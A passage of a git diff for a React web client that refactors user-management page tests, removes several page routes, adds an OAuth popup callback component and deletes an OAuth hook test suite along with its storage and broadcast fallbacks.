+            activated: true,
+            authorities: ['ROLE_ADMIN'],
+            email: 'admin@test.com',
+            firstName: 'Admin',
+            id: '1',
+            lastName: 'User',
+            login: 'admin',
+        },
+        {
+            activated: false,
+            authorities: ['ROLE_USER'],
+            email: 'user@test.com',
+            firstName: 'Regular',
+            id: '2',
+            lastName: 'User',
+            login: 'user',
+        },
+    ],
 };
 
 beforeEach(() => {
     windowResizeObserver();
-    hoisted.mockUseUsersTable.mockReturnValue({...defaultUsersTableMockReturn});
-    hoisted.mockUseDeleteUserAlertDialog.mockReturnValue({
-        handleClose: vi.fn(),
-        handleDelete: vi.fn(),
-        handleOpen: hoisted.handleDeleteDialogOpen,
-        open: false,
-    });
-    hoisted.mockUseEditUserDialog.mockReturnValue({
-        authorities: [],
-        editRole: null,
-        editUser: null,
-        handleClose: vi.fn(),
-        handleOpen: hoisted.handleEditDialogOpen,
-        handleRoleChange: vi.fn(),
-        handleUpdate: vi.fn(),
-        open: false,
-        updateDisabled: true,
-    });
-    hoisted.mockUseInviteUserDialog.mockReturnValue({
-        authorities: [],
-        handleClose: vi.fn(),
-        handleEmailChange: vi.fn(),
-        handleInvite: vi.fn(),
-        handleOpen: hoisted.handleInviteDialogOpen,
-        handleRegeneratePassword: vi.fn(),
-        handleRoleChange: vi.fn(),
-        inviteDisabled: true,
-        inviteEmail: '',
-        invitePassword: '',
-        inviteRole: null,
-        open: false,
-    });
+    hoisted.mockUseUsersTable.mockReturnValue({...defaultMockReturn});
 });
 
 afterEach(() => {
@@ -106,7 +91,7 @@ afterEach(() => {
 describe('UsersPage', () => {
     describe('loading state', () => {
         it('should render skeleton rows when isLoading is true', () => {
-            hoisted.mockUseUsersTable.mockReturnValue({...defaultUsersTableMockReturn, isLoading: true, users: []});
+            hoisted.mockUseUsersTable.mockReturnValue({...defaultMockReturn, isLoading: true, users: []});
 
             render(<UsersPage />);
 
@@ -116,7 +101,7 @@ describe('UsersPage', () => {
         });
 
         it('should not render user data when loading', () => {
-            hoisted.mockUseUsersTable.mockReturnValue({...defaultUsersTableMockReturn, isLoading: true, users: []});
+            hoisted.mockUseUsersTable.mockReturnValue({...defaultMockReturn, isLoading: true, users: []});
 
             render(<UsersPage />);
 
@@ -127,7 +112,7 @@ describe('UsersPage', () => {
     describe('error state', () => {
         it('should render error message when error exists', () => {
             hoisted.mockUseUsersTable.mockReturnValue({
-                ...defaultUsersTableMockReturn,
+                ...defaultMockReturn,
                 error: new Error('Failed to fetch users'),
             });
 
@@ -194,7 +179,7 @@ describe('UsersPage', () => {
         });
 
         it('should render empty state when no users', () => {
-            hoisted.mockUseUsersTable.mockReturnValue({...defaultUsersTableMockReturn, users: []});
+            hoisted.mockUseUsersTable.mockReturnValue({...defaultMockReturn, users: []});
 
             render(<UsersPage />);
 
@@ -203,45 +188,63 @@ describe('UsersPage', () => {
     });
 
     describe('invite dialog', () => {
-        it('should call handleOpen from useInviteUserDialog when clicking Invite User button', async () => {
+        it('should render InviteUserDialog component', () => {
+            render(<UsersPage />);
+
+            expect(screen.getByTestId('invite-dialog')).toBeInTheDocument();
+        });
+
+        it('should call invite dialog open method when clicking Invite User button', async () => {
             render(<UsersPage />);
 
             const inviteButton = screen.getByRole('button', {name: 'Invite User'});
             await userEvent.click(inviteButton);
 
-            expect(hoisted.handleInviteDialogOpen).toHaveBeenCalled();
+            expect(hoisted.inviteDialogOpen).toHaveBeenCalled();
         });
     });
 
     describe('delete dialog', () => {
-        it('should call handleOpen from useDeleteUserAlertDialog when clicking delete button', async () => {
+        it('should render DeleteUserAlertDialog component', () => {
+            render(<UsersPage />);
+
+            expect(screen.getByTestId('delete-dialog')).toBeInTheDocument();
+        });
+
+        it('should call delete dialog open method when clicking delete button', async () => {
             render(<UsersPage />);
 
             const deleteButtons = screen.getAllByRole('button', {name: ''});
-            const deleteButton = deleteButtons.find((button) => button.querySelector('.lucide-trash-2'));
+            const deleteButton = deleteButtons.find((btn) => btn.querySelector('.lucide-trash-2'));
 
             if (deleteButton) {
                 await userEvent.click(deleteButton);
 
                 await waitFor(() => {
-                    expect(hoisted.handleDeleteDialogOpen).toHaveBeenCalledWith('admin');
+                    expect(hoisted.deleteDialogOpen).toHaveBeenCalledWith('admin');
                 });
             }
         });
     });
 
     describe('edit dialog', () => {
-        it('should call handleOpen from useEditUserDialog when clicking edit button', async () => {
+        it('should render EditUserDialog component', () => {
+            render(<UsersPage />);
+
+            expect(screen.getByTestId('edit-dialog')).toBeInTheDocument();
+        });
+
+        it('should call edit dialog open method when clicking edit button', async () => {
             render(<UsersPage />);
 
             const editButtons = screen.getAllByRole('button', {name: ''});
-            const editButton = editButtons.find((button) => button.querySelector('.lucide-edit'));
+            const editButton = editButtons.find((btn) => btn.querySelector('.lucide-edit'));
 
             if (editButton) {
                 await userEvent.click(editButton);
 
                 await waitFor(() => {
-                    expect(hoisted.handleEditDialogOpen).toHaveBeenCalledWith('admin');
+                    expect(hoisted.editDialogOpen).toHaveBeenCalledWith('admin');
                 });
             }
         });
diff --git a/client/src/routes.tsx b/client/src/routes.tsx
index 91895a727cd..ae11e9dc70e 100644
--- a/client/src/routes.tsx
+++ b/client/src/routes.tsx
@@ -37,11 +37,7 @@ const AutomationWorkflowExecutions = lazy(() =>
         default: module.WorkflowExecutions,
     }))
 );
-const DataTables = lazy(() => import('@/pages/automation/datatables/DataTables'));
-const DataTable = lazy(() => import('@/pages/automation/datatable/DataTable'));
 const Home = lazy(() => import('@/pages/home/Home'));
-const KnowledgeBase = lazy(() => import('@/pages/automation/knowledge-base/KnowledgeBase'));
-const KnowledgeBases = lazy(() => import('@/pages/automation/knowledge-bases/KnowledgeBases'));
 const McpServer = lazy(() => import('@/pages/settings/platform/mcp-server/McpServer'));
 const McpServers = lazy(() => import('@/pages/automation/mcp-servers/McpServers'));
 const Notifications = lazy(() => import('@/pages/settings/platform/notifications/Notifications'));
@@ -50,7 +46,6 @@ const ProjectTemplate = lazy(() => import('@/pages/automation/template/project-t
 const ProjectTemplates = lazy(() => import('@/pages/automation/templates/project-templates/ProjectTemplates'));
 const Projects = lazy(() => import('@/pages/automation/projects/Projects'));
 const Sessions = lazy(() => import('@/pages/account/settings/Sessions'));
-const Tasks = lazy(() => import('@/pages/automation/tasks/Tasks'));
 const WorkflowChat = lazy(() => import('@/pages/automation/workflow-chat/WorkflowChat'));
 const WorkflowChatContainer = lazy(() => import('@/pages/automation/workflow-chat/WorkflowChatContainer'));
 const WorkflowTemplate = lazy(() => import('@/pages/automation/template/workflow-template/WorkflowTemplate'));
@@ -60,13 +55,6 @@ const AiProviders = lazy(() => import('@/ee/pages/settings/platform/ai-providers
 const ApiClients = lazy(() => import('@/ee/pages/automation/api-platform/api-clients/ApiClients'));
 const ApiCollections = lazy(() => import('@/ee/pages/automation/api-platform/api-collections/ApiCollections'));
 const ApiConnectors = lazy(() => import('@/ee/pages/settings/platform/api-connectors/ApiConnectors'));
-const ApiConnectorManualPage = lazy(
-    () => import('@/ee/pages/settings/platform/api-connectors/pages/ApiConnectorManualPage')
-);
-const ApiConnectorImportPage = lazy(
-    () => import('@/ee/pages/settings/platform/api-connectors/pages/ApiConnectorImportPage')
-);
-const ApiConnectorAiPage = lazy(() => import('@/ee/pages/settings/platform/api-connectors/pages/ApiConnectorAiPage'));
 const EmbeddedApiKeys = lazy(() => import('@/ee/pages/settings/embedded/api-keys/ApiKeys'));
 const AppEvents = lazy(() => import('@/ee/pages/embedded/app-events/AppEvents'));
 const AdminApiKeys = lazy(() => import('@/ee/pages/settings/platform/admin-api-keys/AdminApiKeys'));
@@ -240,56 +228,15 @@ const platformSettingsRoutes = {
             path: 'custom-components',
         },
         {
-            children: [
-                {
-                    element: (
-                        <PrivateRoute hasAnyAuthorities={[AUTHORITIES.ADMIN, AUTHORITIES.USER]}>
-                            <EEVersion>
-                                <LazyLoadWrapper>
-                                    <ApiConnectors />
-                                </LazyLoadWrapper>
-                            </EEVersion>
-                        </PrivateRoute>
-                    ),
-                    index: true,
-                },
-                {
-                    element: (
-                        <PrivateRoute hasAnyAuthorities={[AUTHORITIES.ADMIN, AUTHORITIES.USER]}>
-                            <EEVersion>
-                                <LazyLoadWrapper>
-                                    <ApiConnectorManualPage />
-                                </LazyLoadWrapper>
-                            </EEVersion>
-                        </PrivateRoute>
-                    ),
-                    path: 'new/manual',
-                },
-                {
-                    element: (
-                        <PrivateRoute hasAnyAuthorities={[AUTHORITIES.ADMIN, AUTHORITIES.USER]}>
-                            <EEVersion>
-                                <LazyLoadWrapper>
-                                    <ApiConnectorImportPage />
-                                </LazyLoadWrapper>
-                            </EEVersion>
-                        </PrivateRoute>
-                    ),
-                    path: 'new/import',
-                },
-                {
-                    element: (
-                        <PrivateRoute hasAnyAuthorities={[AUTHORITIES.ADMIN, AUTHORITIES.USER]}>
-                            <EEVersion>
-                                <LazyLoadWrapper>
-                                    <ApiConnectorAiPage />
-                                </LazyLoadWrapper>
-                            </EEVersion>
-                        </PrivateRoute>
-                    ),
-                    path: 'new/ai',
-                },
-            ],
+            element: (
+                <PrivateRoute hasAnyAuthorities={[AUTHORITIES.ADMIN, AUTHORITIES.USER]}>
+                    <EEVersion>
+                        <LazyLoadWrapper>
+                            <ApiConnectors />
+                        </LazyLoadWrapper>
+                    </EEVersion>
+                </PrivateRoute>
+            ),
             path: 'api-connectors',
         },
         {
@@ -363,6 +310,10 @@ export const loadEnvironments = async (queryClient: QueryClient) => {
 
 export const getRouter = (queryClient: QueryClient) =>
     createBrowserRouter([
+        // {
+        //     element: <OAuthPopup />,
+        //     path: '/oauth',
+        // },
         {
             element: <Login />,
             path: '/login',
@@ -637,52 +588,12 @@ export const getRouter = (queryClient: QueryClient) =>
                                     ),
                                     path: 'connections',
                                 },
-                                {
-                                    element: (
-                                        <PrivateRoute hasAnyAuthorities={[AUTHORITIES.ADMIN, AUTHORITIES.USER]}>
-                                            <LazyLoadWrapper hasLeftSidebar>
-                                                <DataTables />
-                                            </LazyLoadWrapper>
-                                        </PrivateRoute>
-                                    ),
-                                    path: 'datatables',
-                                },
-                                {
-                                    element: (
-                                        <PrivateRoute hasAnyAuthorities={[AUTHORITIES.ADMIN, AUTHORITIES.USER]}>
-                                            <LazyLoadWrapper hasLeftSidebar>
-                                                <DataTable />
-                                            </LazyLoadWrapper>
-                                        </PrivateRoute>
-                                    ),
-                                    path: 'datatables/:id',
-                                },
-                                {
-                                    element: (
-                                        <PrivateRoute hasAnyAuthorities={[AUTHORITIES.ADMIN, AUTHORITIES.USER]}>
-                                            <LazyLoadWrapper hasLeftSidebar>
-                                                <KnowledgeBases />
-                                            </LazyLoadWrapper>
-                                        </PrivateRoute>
-                                    ),
-                                    path: 'knowledge-bases',
-                                },
-                                {
-                                    element: (
-                                        <PrivateRoute hasAnyAuthorities={[AUTHORITIES.ADMIN, AUTHORITIES.USER]}>
-                                            <LazyLoadWrapper hasLeftSidebar>
-                                                <KnowledgeBase />
-                                            </LazyLoadWrapper>
-                                        </PrivateRoute>
-                                    ),
-                                    path: 'knowledge-bases/:id',
-                                },
                                 {
                                     children: [
                                         {
                                             element: (
                                                 <PrivateRoute hasAnyAuthorities={[AUTHORITIES.ADMIN, AUTHORITIES.USER]}>
-                                                    <LazyLoadWrapper hasLeftSidebar>
+                                                    <LazyLoadWrapper>
                                                         <WorkflowChat />
                                                     </LazyLoadWrapper>
                                                 </PrivateRoute>
@@ -693,16 +604,6 @@ export const getRouter = (queryClient: QueryClient) =>
                                     element: <WorkflowChatContainer />,
                                     path: 'chat',
                                 },
-                                {
-                                    element: (
-                                        <PrivateRoute hasAnyAuthorities={[AUTHORITIES.ADMIN, AUTHORITIES.USER]}>
-                                            <LazyLoadWrapper>
-                                                <Tasks />
-                                            </LazyLoadWrapper>
-                                        </PrivateRoute>
-                                    ),
-                                    path: 'tasks',
-                                },
                                 {
                                     children: [
                                         {
diff --git a/client/src/shared/components/connection/oauth2/OAuthPopup.tsx b/client/src/shared/components/connection/oauth2/OAuthPopup.tsx
new file mode 100644
index 00000000000..0b12074c727
--- /dev/null
+++ b/client/src/shared/components/connection/oauth2/OAuthPopup.tsx
@@ -0,0 +1,57 @@
+import {ReactElement, useEffect, useState} from 'react';
+
+import {OAUTH_RESPONSE, OAUTH_STATE_KEY} from './constants';
+import {queryToObject} from './tools';
+
+const checkState = (receivedState: string) => {
+    const state = sessionStorage.getItem(OAUTH_STATE_KEY);
+    return state === receivedState;
+};
+
+interface OAuthPopupProps {
+    Component?: ReactElement;
+}
+
+const OAuthPopup = (props: OAuthPopupProps) => {
+    const [message, setMessage] = useState('Loading...');
+
+    const {Component = <div className="flex h-screen items-center justify-center text-xl">{message}</div>} = props;
+
+    useEffect(() => {
+        const payload = {
+            ...queryToObject(window.location.search.split('?')[1]),
+            ...queryToObject(window.location.hash.split('#')[1]),
+        };
+        const state = payload?.state;
+        const error = payload?.error;
+
+        if (!window.opener) {
+            throw new Error('No window opener');
+        }
+
+        if (error) {
+            setMessage(decodeURI(error) || 'OAuth error: An error has occurred.');
+
+            window.opener.postMessage({
+                error: decodeURI(error) || 'OAuth error: An error has occurred.',
+                type: OAUTH_RESPONSE,
+            });
+        } else if (state && checkState(state)) {
+            window.opener.postMessage({
+                payload,
+                type: OAUTH_RESPONSE,
+            });
+        } else {
+            setMessage('OAuth error: State mismatch.');
+
+            window.opener.postMessage({
+                error: 'OAuth error: State mismatch.',
+                type: OAUTH_RESPONSE,
+            });
+        }
+    }, []);
+
+    return Component;
+};
+
+export default OAuthPopup;
diff --git a/client/src/shared/components/connection/oauth2/constants.ts b/client/src/shared/components/connection/oauth2/constants.ts
index 4ec4d1f2e2a..6f810bde6d1 100644
--- a/client/src/shared/components/connection/oauth2/constants.ts
+++ b/client/src/shared/components/connection/oauth2/constants.ts
@@ -1,4 +1,2 @@
 export const OAUTH_STATE_KEY = 'react-use-oauth2-state-key';
 export const OAUTH_RESPONSE = 'react-use-oauth2-response';
-export const OAUTH_STORAGE_KEY = 'react-use-oauth2-storage-response';
-export const OAUTH_BROADCAST_CHANNEL = 'react-use-oauth2-broadcast-channel';
diff --git a/client/src/shared/components/connection/oauth2/tests/useOAuth2.test.ts b/client/src/shared/components/connection/oauth2/tests/useOAuth2.test.ts
deleted file mode 100644
index 8c0ef9cf9a7..00000000000
--- a/client/src/shared/components/connection/oauth2/tests/useOAuth2.test.ts
+++ /dev/null
@@ -1,598 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import {OAUTH_RESPONSE, OAUTH_STATE_KEY, OAUTH_STORAGE_KEY} from '../constants';
-import useOAuth2, {Oauth2Props} from '../useOAuth2';
-
-// Mock BroadcastChannel
-class MockBroadcastChannel {
-    static instances: MockBroadcastChannel[] = [];
-    name: string;
-    onmessage: ((event: MessageEvent) => void) | null = null;
-
-    constructor(name: string) {
-        this.name = name;
-        MockBroadcastChannel.instances.push(this);
-    }
-
-    postMessage(data: unknown) {
-        // Simulate broadcasting to all other instances with the same name
-        MockBroadcastChannel.instances
-            .filter((instance) => instance !== this && instance.name === this.name)
-            .forEach((instance) => {
-                if (instance.onmessage) {
-                    instance.onmessage(new MessageEvent('message', {data}));
-                }
-            });
-    }
-
-    close() {
-        const index = MockBroadcastChannel.instances.indexOf(this);
-
-        if (index > -1) {
-            MockBroadcastChannel.instances.splice(index, 1);
-        }
-    }
-
-    static reset() {
-        MockBroadcastChannel.instances = [];
-    }
-}
-
-describe('useOAuth2', () => {
-    let mockWindow: Window | null = null;
-    const originalOpen = window.open;
-    const originalAddEventListener = window.addEventListener;
-    const registeredListeners: Array<{type: string; listener: EventListener}> = [];
-
-    const defaultProps: Oauth2Props = {
-        authorizationUrl: 'https://auth.example.com/authorize',
-        clientId: 'test-client-id',
-        redirectUri: 'https://app.example.com/oauth',
-        responseType: 'code',
-        scope: 'read write',
-    };
-
-    beforeEach(() => {
-        // Reset mocks completely
-        vi.clearAllMocks();
-        MockBroadcastChannel.reset();
-        vi.stubGlobal('BroadcastChannel', MockBroadcastChannel);
-
-        // Track and wrap addEventListener to enable cleanup
-        registeredListeners.length = 0;
-        window.addEventListener = vi.fn((type: string, listener: EventListener) => {
-            registeredListeners.push({listener, type});
-            originalAddEventListener.call(window, type, listener);
-        }) as typeof window.addEventListener;
-
-        // Mock window.open
-        mockWindow = {
-            close: vi.fn(),
-            closed: false,
-            window: {closed: false},
-        } as unknown as Window;
-
-        window.open = vi.fn().mockReturnValue(mockWindow);
-
-        // Clear storage
-        sessionStorage.clear();
-        localStorage.clear();
-    });
-
-    afterEach(() => {
-        // Remove all registered event listeners to prevent test pollution
-        for (const {listener, type} of registeredListeners) {
-            window.removeEventListener(type, listener);
-        }
-
-        registeredListeners.length = 0;
-
-        vi.restoreAllMocks();
-        vi.unstubAllGlobals();
-        window.addEventListener = originalAddEventListener;
-        window.open = originalOpen;
-        MockBroadcastChannel.reset();
-
-        // Clear any remaining storage
-        sessionStorage.clear();
-        localStorage.clear();
-    });
-
-    it('should initialize with loading false and no error', () => {
-        const {result} = renderHook(() => useOAuth2(defaultProps));
-
-        expect(result.current.loading).toBe(false);
-        expect(result.current.error).toBeNull();
-        expect(typeof result.current.getAuth).toBe('function');
-    });
-
-    it('should set loading to true when getAuth is called', () => {
-        const {result} = renderHook(() => useOAuth2(defaultProps));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        expect(result.current.loading).toBe(true);
-    });
-
-    it('should open popup with correct URL parameters', () => {
-        const {result} = renderHook(() => useOAuth2(defaultProps));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        expect(window.open).toHaveBeenCalledTimes(1);
-
-        const openCall = vi.mocked(window.open).mock.calls[0];
-        const url = new URL(openCall[0] as string);
-
-        expect(url.origin + url.pathname).toBe('https://auth.example.com/authorize');
-        expect(url.searchParams.get('client_id')).toBe('test-client-id');
-        expect(url.searchParams.get('redirect_uri')).toBe('https://app.example.com/oauth');
-        expect(url.searchParams.get('response_type')).toBe('code');
-        expect(url.searchParams.get('scope')).toBe('read write');
-        expect(url.searchParams.get('state')).toBeTruthy();
-    });
-
-    it('should save state to sessionStorage', () => {
-        const {result, unmount} = renderHook(() => useOAuth2(defaultProps));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        const savedState = sessionStorage.getItem(OAUTH_STATE_KEY);
-
-        expect(savedState).toBeTruthy();
-
-        // Cleanup to prevent interference with subsequent tests
-        unmount();
-    });
-
-    it('should handle successful code response via postMessage', () => {
-        const onCodeSuccess = vi.fn();
-        const props: Oauth2Props = {
-            ...defaultProps,
-            onCodeSuccess,
-        };
-
-        const {result} = renderHook(() => useOAuth2(props));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        const savedState = sessionStorage.getItem(OAUTH_STATE_KEY);
-
-        // Simulate OAuth callback via postMessage
-        act(() => {
-            window.dispatchEvent(
-                new MessageEvent('message', {
-                    data: {
-                        payload: {
-                            code: 'auth-code-123',
-                            state: savedState,
-                        },
-                        type: OAUTH_RESPONSE,
-                    },
-                })
-            );
-        });
-
-        expect(onCodeSuccess).toHaveBeenCalledWith({
-            code: 'auth-code-123',
-            state: savedState,
-        });
-        expect(result.current.loading).toBe(false);
-        expect(result.current.error).toBeNull();
-    });
-
-    it('should handle successful token response via postMessage', () => {
-        const onTokenSuccess = vi.fn();
-        const props: Oauth2Props = {
-            ...defaultProps,
-            onTokenSuccess,
-            responseType: 'token',
-        };
-
-        const {result} = renderHook(() => useOAuth2(props));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        const savedState = sessionStorage.getItem(OAUTH_STATE_KEY);
-
-        // Simulate OAuth callback via postMessage
-        act(() => {
-            window.dispatchEvent(
-                new MessageEvent('message', {
-                    data: {
-                        payload: {
-                            access_token: 'token-123',
-                            expires_in: 3600,
-                            refresh_token: 'refresh-123',
-                            scope: 'read write',
-                            state: savedState,
-                            token_type: 'Bearer',
-                        },
-                        type: OAUTH_RESPONSE,
-                    },
-                })
-            );
-        });
-
-        expect(onTokenSuccess).toHaveBeenCalled();
-        expect(result.current.loading).toBe(false);
-    });
-
-    it('should handle OAuth error via postMessage', () => {
-        const onError = vi.fn();
-        const props: Oauth2Props = {
-            ...defaultProps,
-            onError,
-        };
-
-        const {result} = renderHook(() => useOAuth2(props));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        const savedState = sessionStorage.getItem(OAUTH_STATE_KEY);
-
-        // Simulate OAuth error via postMessage
-        act(() => {
-            window.dispatchEvent(
-                new MessageEvent('message', {
-                    data: {
-                        error: 'access_denied',
-                        payload: {state: savedState},
-                        type: OAUTH_RESPONSE,
-                    },
-                })
-            );
-        });
-
-        expect(onError).toHaveBeenCalledWith('access_denied');
-        expect(result.current.loading).toBe(false);
-        expect(result.current.error).toBe('access_denied');
-    });
-
-    it('should handle state mismatch error', () => {
-        const onError = vi.fn();
-        const props: Oauth2Props = {
-            ...defaultProps,
-            onError,
-        };
-
-        const {result} = renderHook(() => useOAuth2(props));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        // Simulate OAuth callback with wrong state
-        act(() => {
-            window.dispatchEvent(
-                new MessageEvent('message', {
-                    data: {
-                        payload: {
-                            code: 'auth-code-123',
-                            state: 'wrong-state',
-                        },
-                        type: OAUTH_RESPONSE,
-                    },
-                })
-            );
-        });
-
-        expect(onError).toHaveBeenCalledWith('OAuth error: State mismatch.');
-        expect(result.current.error).toBe('OAuth error: State mismatch.');
-    });
-
-    it('should handle successful response via BroadcastChannel fallback', () => {
-        const onCodeSuccess = vi.fn();
-        const props: Oauth2Props = {
-            ...defaultProps,
-            onCodeSuccess,
-        };
-
-        const {result} = renderHook(() => useOAuth2(props));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        const savedState = sessionStorage.getItem(OAUTH_STATE_KEY);
-
-        // Simulate OAuth callback via BroadcastChannel (fallback when window.opener is lost)
-        // Create another channel with the same name and post a message
-        act(() => {
-            const senderChannel = new MockBroadcastChannel('react-use-oauth2-broadcast-channel');
-
-            senderChannel.postMessage({
-                payload: {
-                    code: 'auth-code-456',
-                    state: savedState,
-                },
-                type: OAUTH_RESPONSE,
-            });
-            senderChannel.close();
-        });
-
-        expect(onCodeSuccess).toHaveBeenCalledWith({
-            code: 'auth-code-456',
-            state: savedState,
-        });
-        expect(result.current.loading).toBe(false);
-    });
-
-    it('should handle storage event for cross-tab communication', () => {
-        const onCodeSuccess = vi.fn();
-        const props: Oauth2Props = {
-            ...defaultProps,
-            onCodeSuccess,
-        };
-
-        const {result} = renderHook(() => useOAuth2(props));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        const savedState = sessionStorage.getItem(OAUTH_STATE_KEY);
-
-        const storageData = JSON.stringify({
-            payload: {
-                code: 'auth-code-storage',
-                state: savedState,
-            },
-            timestamp: Date.now(),
-            type: OAUTH_RESPONSE,
-        });
-
-        // Simulate storage event (cross-tab communication)
-        act(() => {
-            const storageEvent = new StorageEvent('storage', {
-                key: OAUTH_STORAGE_KEY,
-                newValue: storageData,
-            });
-
-            window.dispatchEvent(storageEvent);
-        });
-
-        expect(onCodeSuccess).toHaveBeenCalledWith({
-            code: 'auth-code-storage',
-            state: savedState,
-        });
-        expect(result.current.loading).toBe(false);
-    });
-
-    it('should ignore storage events for other keys', () => {
-        const onCodeSuccess = vi.fn();
-        const props: Oauth2Props = {
-            ...defaultProps,
-            onCodeSuccess,
-        };
-
-        const {result} = renderHook(() => useOAuth2(props));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        const savedState = sessionStorage.getItem(OAUTH_STATE_KEY);
-
-        // Simulate storage event for a different key
-        act(() => {
-            const storageEvent = new StorageEvent('storage', {
-                key: 'some-other-key',
-                newValue: JSON.stringify({
-                    payload: {
-                        code: 'should-be-ignored',
-                        state: savedState,
-                    },
-                    type: OAUTH_RESPONSE,
-                }),
-            });
-
-            window.dispatchEvent(storageEvent);
-        });
-
-        expect(onCodeSuccess).not.toHaveBeenCalled();
-        expect(result.current.loading).toBe(true);
-    });
-
-    it('should clean up localStorage response on getAuth', () => {
-        // Pre-populate localStorage with stale data
-        localStorage.setItem(OAUTH_STORAGE_KEY, 'stale-data');
-
-        const {result} = renderHook(() => useOAuth2(defaultProps));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        // Stale data should be cleared
-        expect(localStorage.getItem(OAUTH_STORAGE_KEY)).toBeNull();
-    });
-
-    it('should ignore messages with different type', () => {
-        const onCodeSuccess = vi.fn();
-        const props: Oauth2Props = {
-            ...defaultProps,
-            onCodeSuccess,
-        };
-
-        const {result} = renderHook(() => useOAuth2(props));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        const savedState = sessionStorage.getItem(OAUTH_STATE_KEY);
-
-        // Simulate message with wrong type
-        act(() => {
-            window.dispatchEvent(
-                new MessageEvent('message', {
-                    data: {
-                        payload: {
-                            code: 'should-be-ignored',
-                            state: savedState,
-                        },
-                        type: 'wrong-type',
-                    },
-                })
-            );
-        });
-
-        expect(onCodeSuccess).not.toHaveBeenCalled();
-        expect(result.current.loading).toBe(true);
-    });
-
-    it('should include extra query parameters in authorization URL', () => {
-        const props: Oauth2Props = {
-            ...defaultProps,
-            extraQueryParameters: {
-                audience: 'https://api.example.com',
-                prompt: 'consent',
-            },
-        };
-
-        const {result} = renderHook(() => useOAuth2(props));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        const openCall = vi.mocked(window.open).mock.calls[0];
-        const url = new URL(openCall[0] as string);
-
-        expect(url.searchParams.get('audience')).toBe('https://api.example.com');
-        expect(url.searchParams.get('prompt')).toBe('consent');
-    });
-
-    it('should register BroadcastChannel listener on getAuth', () => {
-        renderHook(() => useOAuth2(defaultProps));
-
-        // Before getAuth, no BroadcastChannel instances
-        expect(MockBroadcastChannel.instances.length).toBe(0);
-
-        const {result} = renderHook(() => useOAuth2(defaultProps));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        // After getAuth, should have a BroadcastChannel instance
-        expect(MockBroadcastChannel.instances.length).toBeGreaterThan(0);
-        expect(MockBroadcastChannel.instances[0].name).toBe('react-use-oauth2-broadcast-channel');
-    });
-
-    it('should register storage event listener on getAuth', () => {
-        const addEventListenerSpy = vi.spyOn(window, 'addEventListener');
-
-        const {result} = renderHook(() => useOAuth2(defaultProps));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        expect(addEventListenerSpy).toHaveBeenCalledWith('storage', expect.any(Function));
-    });
-
-    it('should register message event listener on getAuth', () => {
-        const addEventListenerSpy = vi.spyOn(window, 'addEventListener');
-
-        const {result} = renderHook(() => useOAuth2(defaultProps));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        expect(addEventListenerSpy).toHaveBeenCalledWith('message', expect.any(Function));
-    });
-
-    it('should handle popup closing with localStorage data', () => {
-        vi.useFakeTimers();
-
-        const onCodeSuccess = vi.fn();
-        const props: Oauth2Props = {
-            ...defaultProps,
-            onCodeSuccess,
-        };
-
-        const {result} = renderHook(() => useOAuth2(props));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        const savedState = sessionStorage.getItem(OAUTH_STATE_KEY);
-
-        // Simulate localStorage being populated by the OAuth callback page
-        localStorage.setItem(
-            OAUTH_STORAGE_KEY,
-            JSON.stringify({
-                payload: {
-                    code: 'auth-code-from-storage',
-                    state: savedState,
-                },
-                timestamp: Date.now(),
-                type: OAUTH_RESPONSE,
-            })
-        );
-
-        // Simulate popup closing
-        (mockWindow as Window & {window: {closed: boolean}}).window.closed = true;
-
-        // Advance timers to trigger the interval check
-        act(() => {
-            vi.advanceTimersByTime(300);
-        });
-
-        expect(onCodeSuccess).toHaveBeenCalledWith({
-            code: 'auth-code-from-storage',
-            state: savedState,
-        });
-        expect(result.current.loading).toBe(false);
-
-        vi.useRealTimers();
-    });
-
-    it('should set loading to false when popup closes without auth data', () => {
-        vi.useFakeTimers();
-
-        const consoleWarnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
-
-        const {result} = renderHook(() => useOAuth2(defaultProps));
-
-        act(() => {
-            result.current.getAuth();
-        });
-
-        // Simulate popup closing without any OAuth data
-        (mockWindow as unknown as {closed: boolean}).closed = true;
-
-        // First interval tick detects the popup is closed and records the time
-        act(() => {
-            vi.advanceTimersByTime(300);
-        });
-
-        // Advance past the 120-second grace period so the hook treats the popup as abandoned
-        act(() => {
-            vi.advanceTimersByTime(121_000);
-        });
-
-        expect(result.current.loading).toBe(false);
-        expect(consoleWarnSpy).toHaveBeenCalledWith('Warning: Popup was closed before completing authentication.');
-
-        consoleWarnSpy.mockRestore();
-        vi.useRealTimers();
-    });
-});
diff --git a/client/src/shared/components/connection/oauth2/useOAuth2.ts b/client/src/shared/components/connection/oauth2/useOAuth2.ts
index 333d96c9fad..eb9a0035e8d 100644
--- a/client/src/shared/components/connection/oauth2/useOAuth2.ts
+++ b/client/src/shared/components/connection/oauth2/useOAuth2.ts
@@ -1,6 +1,6 @@
 import {MutableRefObject, useCallback, useRef, useState} from 'react';
 
-import {OAUTH_BROADCAST_CHANNEL, OAUTH_RESPONSE, OAUTH_STATE_KEY, OAUTH_STORAGE_KEY} from './constants';
+import {OAUTH_RESPONSE, OAUTH_STATE_KEY} from './constants';
 import {objectToQuery} from './tools';
 
 export interface TokenPayloadI {
@@ -32,8 +32,6 @@ export interface Oauth2Props {
 const POPUP_HEIGHT = 800;
 const POPUP_WIDTH = 600;
 
-const POPUP_CLOSED_GRACE_PERIOD_MS = 120_000;
-
 const enhanceAuthorizationUrl = (
     authorizeUrl: string,
     clientId: string,
@@ -95,37 +93,17 @@ const closePopup = (popupRef: MutableRefObject<Window | null | undefined>) => {
     popupRef.current?.close();
 };
 
